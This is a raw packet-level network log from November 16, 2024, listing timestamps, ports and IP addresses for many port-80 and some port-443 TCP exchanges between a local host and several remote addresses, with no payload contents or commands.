Nov 16, 2024 19:22:31.951011896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951026917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951037884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951040983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951061010 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951078892 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951083899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951098919 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951117039 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951142073 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951142073 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951154947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951170921 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951188087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951208115 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951208115 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951220989 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951236010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951244116 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951256990 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951268911 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951277971 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951292038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951323986 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951504946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951519966 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951534033 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951544046 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951548100 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951567888 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951570988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951585054 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951591969 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951606035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951617956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951621056 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951632977 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951642036 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951647043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951661110 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951666117 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951675892 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951689005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951702118 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951703072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951716900 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951719999 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951730967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951733112 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951745033 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951760054 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951766014 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951773882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951781988 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951787949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951802015 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951806068 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951828957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951849937 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951853037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951867104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951881886 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951885939 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951896906 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951904058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951911926 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951916933 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951924086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951932907 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951952934 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951955080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.951961994 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951987982 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.951994896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952007055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952033997 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952050924 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952096939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952147007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952161074 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952179909 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952193022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952204943 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952207088 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952228069 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952244997 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952393055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952405930 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952420950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952434063 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952442884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952462912 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952464104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952477932 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952492952 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952497005 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952507973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952512026 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952522039 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952532053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952543974 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952565908 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952630997 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952666044 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952677965 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952692986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952708006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952725887 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952743053 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952753067 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952756882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952771902 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952775955 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952794075 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952806950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952832937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952848911 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952867985 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952891111 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952908039 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952922106 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952935934 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952941895 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952955961 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952970028 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.952975035 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.952991962 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953006983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953010082 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953020096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953031063 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953036070 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953043938 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953047991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953059912 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953074932 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953078985 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953141928 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953161955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953176022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953176022 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953190088 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953193903 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953205109 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953216076 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953237057 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953336954 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953351021 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953372002 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953385115 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953385115 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953393936 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953401089 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953414917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953428984 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953432083 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953449965 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953449965 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953464985 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953469992 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953476906 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953490973 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953496933 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953501940 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953511953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953519106 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953526020 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953531981 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953541040 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953553915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953556061 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953562021 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953567028 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953583002 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953610897 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953612089 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953624010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953639030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953653097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953665972 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953666925 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953680038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953694105 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.953699112 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953710079 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.953742027 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.974791050 CET	49852	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.974893093 CET	49851	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.992141962 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.992177963 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.992192030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.992213964 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.992235899 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.992238045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.992252111 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.992266893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.992269039 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.992280006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.992292881 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.992296934 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.992310047 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.992316008 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.992321968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.992328882 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.992348909 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.992361069 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.999248981 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.999280930 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.999380112 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.999380112 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.999408960 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.999480963 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:32.013753891 CET	49863	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:32.013782024 CET	443	49863	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:32.013838053 CET	49863	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:32.014345884 CET	49863	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:32.014359951 CET	443	49863	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:32.014800072 CET	443	49853	204.79.197.219	192.168.2.5
Nov 16, 2024 19:22:32.015016079 CET	49853	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:32.015036106 CET	443	49853	204.79.197.219	192.168.2.5
Nov 16, 2024 19:22:32.016707897 CET	443	49853	204.79.197.219	192.168.2.5
Nov 16, 2024 19:22:32.016793966 CET	49853	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:32.017736912 CET	49853	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:32.017829895 CET	443	49853	204.79.197.219	192.168.2.5
Nov 16, 2024 19:22:32.022109032 CET	443	49850	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:32.022330999 CET	49850	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:32.022344112 CET	443	49850	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:32.022877932 CET	443	49850	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:32.023703098 CET	49850	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:32.023792982 CET	443	49850	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:32.024837971 CET	49850	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:32.026202917 CET	443	49854	204.79.197.219	192.168.2.5
Nov 16, 2024 19:22:32.026928902 CET	49854	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:32.026937962 CET	443	49854	204.79.197.219	192.168.2.5
Nov 16, 2024 19:22:32.030087948 CET	443	49854	204.79.197.219	192.168.2.5
Nov 16, 2024 19:22:32.030163050 CET	49854	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:32.030586958 CET	49854	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:32.030661106 CET	443	49854	204.79.197.219	192.168.2.5
Nov 16, 2024 19:22:32.032203913 CET	49864	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:32.032227993 CET	443	49864	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:32.032516003 CET	49864	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:32.033061028 CET	49864	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:32.033076048 CET	443	49864	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:32.036885023 CET	49865	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:32.036910057 CET	443	49865	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:32.037022114 CET	49865	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:32.037166119 CET	49865	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:32.037179947 CET	443	49865	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:32.067332029 CET	443	49850	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:32.067626953 CET	49853	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:32.067641973 CET	443	49853	204.79.197.219	192.168.2.5
Nov 16, 2024 19:22:32.076967955 CET	49854	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:32.076986074 CET	443	49854	204.79.197.219	192.168.2.5
Nov 16, 2024 19:22:32.101893902 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.101908922 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.101922989 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.101937056 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.101958036 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.101993084 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.103827000 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.103840113 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.103862047 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.103873968 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.103878021 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.103892088 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.103892088 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.103909016 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.103914976 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.103923082 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.103939056 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.103944063 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.103950977 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.103965044 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.103965044 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.103979111 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.103993893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.103996038 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.104010105 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104022980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104023933 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.104043961 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.104070902 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104074955 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.104104042 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.104105949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104136944 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.104238987 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104254007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104276896 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.104276896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104290009 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104293108 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.104304075 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104310036 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.104319096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104326010 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.104345083 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.104358912 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.104598045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104620934 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104659081 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.104737997 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104773045 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.104789019 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104954004 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104968071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104984045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.104986906 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.105005980 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.105005980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.105020046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.105024099 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.105061054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.105061054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.105253935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.105278015 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.105318069 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.105487108 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.105540991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.105541945 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.105554104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.105570078 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.105577946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.105588913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.105591059 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.105611086 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.105623007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.105777979 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.105792999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.105808020 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.105813026 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.105837107 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.105858088 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.105983019 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.106007099 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.106019974 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.106043100 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.106069088 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.106615067 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.106628895 CET	80	49770	185.215.113.206	192.168.2.5
